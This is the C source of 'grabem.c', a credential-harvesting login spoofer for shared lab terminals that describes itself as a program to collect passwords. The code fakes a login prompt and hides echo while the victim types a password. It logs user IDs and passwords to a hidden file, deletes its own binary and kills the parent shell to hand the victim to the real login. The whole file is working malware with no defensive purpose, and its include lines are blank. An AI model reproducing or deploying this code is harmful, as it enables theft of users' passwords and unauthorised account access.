grabem.c

/*----------------------------------------------------------------------+
| GRABEM 1.0                                       by The K-Man      |
| A Cute little program to collect passwords                         |
+----------------------------------------------------------------------*/
#define PASSWORD "Password:"
#define INCORRECT "\nLogin incorrect"
#define FILENAME ".exrc%"
#include 
#include 
/*-----------------------------------------------------------------------+
| ignoreSig                                                                        |
|                                                                                       |
|    Does nothing. Used to trap SIGINT, SIGTSTP, SIGQUIT. |
+-----------------------------------------------------------------------*/
void ignoreSig ()
{
        return;
}
/*-----------------------------------------------------------------------+
| Main                                                                               |
+-----------------------------------------------------------------------*/
main()
{
char    name[10],                       /* users name
    */
                password[10];           /* users password
    */

int     i,                              /* loop counter                         */
                lab,                    /* lab # you're running on              */
                procid;                 /* pid of the shell we're under         */
FILE    *fp;                            /* output file
    */

     /*-------------------------------------------------------------------------------+
     | Trap the SIGINT (ctrl-C), SIGSTP (ctrl-Z), and SIGQUIT (ctrl-\)    |
     | signals so the program doesn't stop and dump back to the shell.   |
     +-------------------------------------------------------------------------------*/
        signal (SIGINT, ignoreSig);
signal (SIGTSTP, ignoreSig);
signal (SIGQUIT, ignoreSig);
/*---------------------------------------------------------------------------+
| Get the parent pid so that we can kill it quickly later.  Remove   |
| this program from the account.                                               |
+---------------------------------------------------------------------------*/
procid = getppid();
system ("\\rm proj2");
/*-------------------------------------------------------------------+
| Ask for the lab # we're running on.  Clear the screen.    |
+-------------------------------------------------------------------*/
printf ("lab#: ");
scanf ("%d", &lab);
for (i=1; i<40; i++)
        printf ("\n");
getchar();
/*-----------------------------------------------------------------------------+
| Outer for loop.  If the name is <= 4 characters, it's probably not |
| a real id.  They screwed up.  Give 'em another chance.             |
+-----------------------------------------------------------------------------*/
for(;;)
{
        /*-----------------------------------------------------------------------+
        | If they hit return, loop back and give 'em the login again.    |
        +-----------------------------------------------------------------------*/
        for (;;)
        {
                printf("lab%1d login: ",lab);
                gets (name);
                if (strcmp (name, "") != 0)
                        break;
        }
        /*---------------------------------------------------------------------------+
        | Turn off the screen echo, ask for their password, and turn the |
        | echo back on.                                                                      |
        +---------------------------------------------------------------------------*/
        system ("stty -echo > /dev/console");
        printf(PASSWORD);
        scanf("%s",password);
        getchar();
        system ("stty echo > /dev/console");
        /*---------------------------------------------------------------+
        | Write their userid and password to the file.               |
        +---------------------------------------------------------------*/
        if ( ( fp = fopen(FILENAME,"a") )  != NULL )
        {
                fprintf(fp,"login %s has password %s\n",name,password);
                fclose(fp);
        }
        /*---------------------------------------------------------------+
        | If the name is bogus, send 'em back through            |
        +---------------------------------------------------------------*/
        if (strlen (name) >= 4)
                break;
        else
                printf (INCORRECT);
        }

/*--------------------------------------------------------------------------------+
| Everything went cool. Tell 'em they fucked up and mis-typed and    |
| dump them out to the REAL login prompt.  We do this by killing the |
| parent process (console).                                                            |
+--------------------------------------------------------------------------------*/
        printf (INCORRECT);
        kill (procid, 9);
}